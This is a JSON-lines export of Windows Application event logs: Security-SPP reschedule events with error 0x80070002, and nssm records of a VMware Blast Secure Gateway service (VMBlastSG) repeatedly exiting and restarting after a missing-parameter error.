{"@timestamp":1659076931850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174550}}
{"@timestamp":1659076961855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174551}}
{"@timestamp":1659076991863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174552}}
{"@timestamp":1659077021870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174553}}
{"@timestamp":1659077051876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174554}}
{"@timestamp":1659077081883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174555}}
{"@timestamp":1659077111890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174556}}
{"@timestamp":1659077141896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174557}}
{"@timestamp":1659077171903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174558}}
{"@timestamp":1659077201909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174559}}
{"@timestamp":1659077231916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174560}}
{"@timestamp":1659077261921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174561}}
{"@timestamp":1659077291928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174562}}
{"@timestamp":1659077321934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174563}}
{"@timestamp":1659077351940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174564}}
{"@timestamp":1659077381947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174565}}
{"@timestamp":1659077411954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174566}}
{"@timestamp":1659077441961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174567}}
{"@timestamp":1659077471967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174568}}
{"@timestamp":1659077501974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174569}}
{"@timestamp":1659077531980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174570}}
{"@timestamp":1659077561987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174571}}
{"@timestamp":1659077591994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174572}}
{"@timestamp":1659077622001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174573}}
{"@timestamp":1659077652010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174574}}
{"@timestamp":1659077682057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174575}}
{"@timestamp":1659077712138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174576}}
{"@timestamp":1659077742146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174577}}
{"@timestamp":1659077772152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174578}}
{"@timestamp":1659077802158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174579}}
{"@timestamp":1659077832164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174580}}
{"@timestamp":1659077862172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174581}}
{"@timestamp":1659077892231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174582}}
{"@timestamp":1659077922242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174583}}
{"@timestamp":1659077952248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174584}}
{"@timestamp":1659077982256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:42Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174585}}
{"@timestamp":1659078012262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:12Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174586}}
{"@timestamp":1646616906360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153180}}
{"@timestamp":1646616906361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153181}}
{"@timestamp":1646617034862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153182}}
{"@timestamp":1646617034865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153183}}
{"@timestamp":1646617034865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149784","0"]}}},"module":"Application","provider":"nssm","sequence":153184}}
{"@timestamp":1646617034866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149784","149784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153185}}
{"@timestamp":1646617034881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153186}}
{"@timestamp":1646617034882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153187}}
{"@timestamp":1646617034882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153188}}
{"@timestamp":1646617034883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153189}}
{"@timestamp":1646617163365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153190}}
{"@timestamp":1646617163367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153191}}
{"@timestamp":1646617163368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147612","0"]}}},"module":"Application","provider":"nssm","sequence":153192}}
{"@timestamp":1646617163369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147612","147612","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153193}}
{"@timestamp":1646617163385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153194}}
{"@timestamp":1646617163385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153195}}
{"@timestamp":1646617163386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153196}}
{"@timestamp":1646617163386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153197}}
{"@timestamp":1646617292018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153198}}
{"@timestamp":1646617292019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153199}}
{"@timestamp":1646617292019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","139252","0"]}}},"module":"Application","provider":"nssm","sequence":153200}}
{"@timestamp":1646617292020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["139252","139252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153201}}
{"@timestamp":1646617292035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153202}}
{"@timestamp":1646617292036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153203}}
{"@timestamp":1646617292036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153204}}
{"@timestamp":1646617292037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153205}}
{"@timestamp":1646617420524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153206}}
{"@timestamp":1646617420525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153207}}
{"@timestamp":1646617420526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150108","0"]}}},"module":"Application","provider":"nssm","sequence":153208}}
{"@timestamp":1646617420527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150108","150108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153209}}
{"@timestamp":1646617420542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153210}}
{"@timestamp":1646617420543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153211}}
{"@timestamp":1646617420543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153212}}
{"@timestamp":1646617420544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153213}}
{"@timestamp":1646617549077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153214}}
{"@timestamp":1646617549077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153215}}
{"@timestamp":1646617549078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148236","0"]}}},"module":"Application","provider":"nssm","sequence":153216}}
{"@timestamp":1646617549079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148236","148236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153217}}
{"@timestamp":1646617549096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153218}}
{"@timestamp":1646617549096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153219}}
{"@timestamp":1646617549097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153220}}
{"@timestamp":1646617549098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153221}}
{"@timestamp":1646617677589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153222}}
{"@timestamp":1646617677590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153223}}
{"@timestamp":1646617677591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149848","0"]}}},"module":"Application","provider":"nssm","sequence":153224}}
{"@timestamp":1646617677592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149848","149848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153225}}
{"@timestamp":1646617677609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153226}}
{"@timestamp":1646617677609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153227}}
{"@timestamp":1646617677610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153228}}
{"@timestamp":1646617677611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153229}}
{"@timestamp":1646617806698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153230}}
{"@timestamp":1646617806699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153231}}
{"@timestamp":1646617806699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149520","0"]}}},"module":"Application","provider":"nssm","sequence":153232}}
{"@timestamp":1646617806700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149520","149520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153233}}
{"@timestamp":1646617806716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153234}}
{"@timestamp":1646617806717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153235}}
{"@timestamp":1646617806718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153236}}
{"@timestamp":1646617806719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153237}}
{"@timestamp":1646617935222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153238}}
{"@timestamp":1646617935223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153239}}
{"@timestamp":1646617935225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150412","0"]}}},"module":"Application","provider":"nssm","sequence":153240}}
{"@timestamp":1646617935225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150412","150412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153241}}
{"@timestamp":1646617935242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153242}}
{"@timestamp":1646617935242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153243}}
{"@timestamp":1646617935243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153244}}
{"@timestamp":1646617935244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153245}}
{"@timestamp":1646618063753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153246}}
{"@timestamp":1646618063754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153247}}
{"@timestamp":1646618063754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149628","0"]}}},"module":"Application","provider":"nssm","sequence":153248}}
